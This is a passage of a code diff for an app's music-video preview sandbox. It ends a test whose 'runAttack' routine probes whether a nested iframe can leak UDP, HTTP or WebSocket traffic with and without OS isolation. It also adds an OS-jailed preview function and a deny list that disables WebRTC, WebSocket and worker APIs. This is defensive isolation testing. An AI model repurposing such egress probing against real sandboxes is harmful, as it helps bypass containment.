+ }, 15000);
+ pending.set(id, {
+ resolve: (value) => { clearTimeout(timer); resolve(value); },
+ reject: (error) => { clearTimeout(timer); reject(error); },
+ });
+ const payload = { id, method, params };
+ if (sessionId) payload.sessionId = sessionId;
+ transport.send(JSON.stringify(payload));
+ });
+}
+
+async function runAttack(isolation) {
+ const sink = await collectors();
+ let owner;
+ try {
+ owner = await launchCompositionBrowser({ isolation, startupMs: 20000 });
+ const send = cdp(owner.transport);
+ const created = await send('Target.createTarget', { url: 'about:blank' });
+ const attached = await send('Target.attachToTarget', { targetId: created.targetId, flatten: true });
+ const tree = await send('Page.getFrameTree', {}, attached.sessionId);
+ await send('Page.setDocumentContent', {
+ frameId: tree.frameTree.frame.id,
+ html: attackHtml(sink),
+ }, attached.sessionId);
+ const deadline = Date.now() + 8000;
+ let observed = { state: 'pending' };
+ while (Date.now() < deadline) {
+ const evaluated = await send('Runtime.evaluate', {
+ expression: `(() => {
+ const frame = document.querySelector('iframe');
+ if (!frame) return { state: 'no-frame' };
+ try {
+ const win = frame.contentWindow;
+ if (!win || win.__nativeRtc === undefined) return { state: 'pending' };
+ return { state: 'ready', native: win.__nativeRtc === true };
+ } catch (error) {
+ return { state: 'blocked', name: error.name };
+ }
+ })()`,
+ returnByValue: true,
+ }, attached.sessionId);
+ observed = evaluated.result?.value || { state: 'empty' };
+ if (observed.state === 'ready' || observed.state === 'blocked') break;
+ await new Promise((resolve) => setTimeout(resolve, 200));
+ }
+ // STUN, fetch, and the navigation timer need time after the script starts.
+ await new Promise((resolve) => setTimeout(resolve, 2000));
+ return {
+ native: observed.state === 'ready' && observed.native === true,
+ observed,
+ udp: sink.packets.length,
+ http: sink.httpHits.length,
+ ws: sink.wsHits.length,
+ };
+ } finally {
+ // Stop the browser before the collectors. An open keep-alive would make
+ // http.Server.close wait until the test timeout.
+ await owner?.close().catch(() => {});
+ await sink.close();
+ }
+}
+
+describe.skipIf(!available)('generated preview egress', () => {
+ it('receives nested-srcdoc traffic without the jail and none through the OS deny', async () => {
+ const open = await runAttack('off');
+ expect(open.native, `fresh realm did not run native WebRTC (${JSON.stringify(open.observed)})`).toBe(true);
+ expect(open.udp + open.http + open.ws, 'negative control received nothing, so a silent jail would not prove isolation').toBeGreaterThan(0);
+
+ const jailed = await runAttack('os');
+ expect(jailed.native, `jailed fresh realm did not run native WebRTC (${JSON.stringify(jailed.observed)})`).toBe(true);
+ expect(jailed).toMatchObject({ udp: 0, http: 0, ws: 0 });
+
+ const shipped = await runAttack('required');
+ expect(shipped).toMatchObject({ udp: 0, http: 0, ws: 0 });
+ }, 120000);
+});
diff --git a/server/services/musicVideo/documentPreview.js b/server/services/musicVideo/documentPreview.js
index 60aeee8fd8..69f17185e1 100644
--- a/server/services/musicVideo/documentPreview.js
+++ b/server/services/musicVideo/documentPreview.js
@@ -3,13 +3,15 @@ import { musicVideoMediaMode } from '../../lib/musicVideoMediaPolicy.js';
import { filmLookRuntimeSource } from '../../lib/filmLook.js';
import { titleCardRuntimeSource } from '../../lib/musicVideoTitleCard.js';
/**
- * Music Video — the in-app live preview of a composition document.
+ * Music Video — HTML for a composition preview document.
*
- * The preview runs in an opaque-origin `<iframe sandbox="allow-scripts"
- * srcdoc>` inside the trusted generatedPreviewSandbox wrapper. The wrapper blocks
- * child navigation; the inherited CSP allows only inline
- * code and data:/blob: assets. This is URL/subresource containment, not a
- * complete network boundary (fresh-realm WebRTC is tracked in #11157). The server therefore hands the client ONE self-contained page:
+ * Live players do not mount this HTML. `openIsolatedDocumentPreview` runs it
+ * in the OS-jailed worker and returns frames. This builder still serves the
+ * lyric template, tests, and the preview route.
+ *
+ * The page is an opaque-origin document (its CSP allows only inline
+ * code and data:/blob: assets), so it can never call PortOS with the user's
+ * session. The server therefore hands the client ONE self-contained page:
*
* - the document's own scripts and stylesheets inlined, and every file its
* CSS or `<img>` tags name inlined as a data: URL;
@@ -64,10 +66,8 @@ const cleanRef = (ref) => {
// Runs before any document script: asset bridge, relative-src mapping, seek/layout messages.
const BOOTSTRAP = `(() => {
- // CSP does not block ICE/STUN. Keep the direct document guard too: render/test
- // consumers may load this document without the application's outer wrapper.
+ // CSP does not block ICE/STUN. Match the render host before document code runs.
for (const key of ['RTCPeerConnection', 'webkitRTCPeerConnection', 'WebTransport', 'Worker', 'SharedWorker', 'WebSocket']) {
- if (Object.getOwnPropertyDescriptor(globalThis, key)?.configurable === false) continue;
Object.defineProperty(globalThis, key, { configurable: false, writable: false,
value: function() { throw new Error(key + ' is disabled in compositions'); } });
}
diff --git a/server/services/musicVideo/documentRender.js b/server/services/musicVideo/documentRender.js
index 745d354573..ef0160a4b8 100644
--- a/server/services/musicVideo/documentRender.js
+++ b/server/services/musicVideo/documentRender.js
@@ -275,6 +275,47 @@ async function stageDocumentData(compositionDir, data, media) {
await writeFile(join(compositionDir, 'portos-mv.js'), `window.PORTOS_MV = ${scriptJson(data)};\nwindow.PORTOS_MV_EVENT_STATE = ${narrativeFrameState.toString()};\n`);
}
+/**
+ * Stage a document the way a render does and open it in the OS-jailed preview
+ * browser. The caller closes `page` and removes `scratchRoot`. Private media
+ * stays in the staged copy; it is not posted into the user's browser.
+ */
+export async function openIsolatedDocumentPreview({ project, jobId, signal, onEvent }) {
+ const plan = await prepareDocumentRender(project);
+ const { probeVideoGeometry } = await import('../../lib/ffmpeg.js');
+ const { stageMusicVideoComposition } = await import('../htmlComposition/index.js');
+ const { openComposition } = await import('../htmlComposition/browser.js');
+ const { loadHistory } = await import('../videoGen/history.js');
+ const generated = project.composition?.document?.source?.kind === 'generated';
+ const history = (project.scenes || []).some((scene) => scene?.videoHistoryId) ? await loadHistory() : [];
+ const media = await resolveSceneMedia(project, { history, probe: probeVideoGeometry, strictLayers: generated });
+ const data = buildDocumentData(project, {
+ media, frame: plan.frame, clock: plan.clock, songDurationSec: plan.songDurationSec, generated,
+ });
+ let staged;
+ try {
+ staged = await stageMusicVideoComposition(plan.directory, jobId, musicVideoSongDocument(project), {
+ prepare: (dir) => stageDocumentData(dir, data, media),
+ });
+ signal?.throwIfAborted();
+ const page = await openComposition(staged.directory, {
+ signal, streamMedia: true, mediaMode: musicVideoMediaMode(project), ownedBrowser: true, isolation: 'required',
+ initScripts: [filmLookRuntimeSource(project?.filmLook), titleCardRuntimeSource(project?.titleCard)],
+ previewBridge: true, refuseUnknown: 'empty', lockLoopback: true, onEvent,
+ });
+ await page.send('Emulation.setDeviceMetricsOverride', {
+ width: plan.width, height: plan.height, deviceScaleFactor: 1, mobile: false,
+ });
+ return {
+ page, scratchRoot: staged.scratchRoot,
+ width: plan.width, height: plan.height, fps: plan.fps, durationSec: plan.durationSec,
+ };
+ } catch (error) {
+ if (staged?.scratchRoot) await rm(staged.scratchRoot, { recursive: true, force: true }).catch(() => {});
+ throw error;
+ }
+}
+
/**
* The window a render seeks, on the document's own frame grid: the full
* contract, or `[startSec, endSec)` snapped down to a frame boundary.
diff --git a/server/services/socket.js b/server/services/socket.js
index a96cc6222e..0c60edd777 100644
--- a/server/services/socket.js
+++ b/server/services/socket.js
@@ -67,6 +67,7 @@ import { HOST_CONTROL_FORBIDDEN_MESSAGE, socketHasHostControl } from './authGate
import { runEventLogEvents } from './agentRunEventLog.js';
import { armSystemActivityWatchers, bindSystemActivityIo } from './systemActivityNotify.js';
import { armReadinessWatchers, registerReadinessSocket } from './readinessNotify.js';
+import { registerGeneratedPreviewHandlers } from './generatedPreview/sessions.js';
// Store CoS subscribers
const cosSubscribers = new Set();
@@ -270,6 +271,7 @@ const SOCKET_HANDLER_REGISTRARS = [
registerErrorHandlers,
registerShellHandlers,
registerItermHandlers,
+ registerGeneratedPreviewHandlers,
registerLifecycleHandlers
];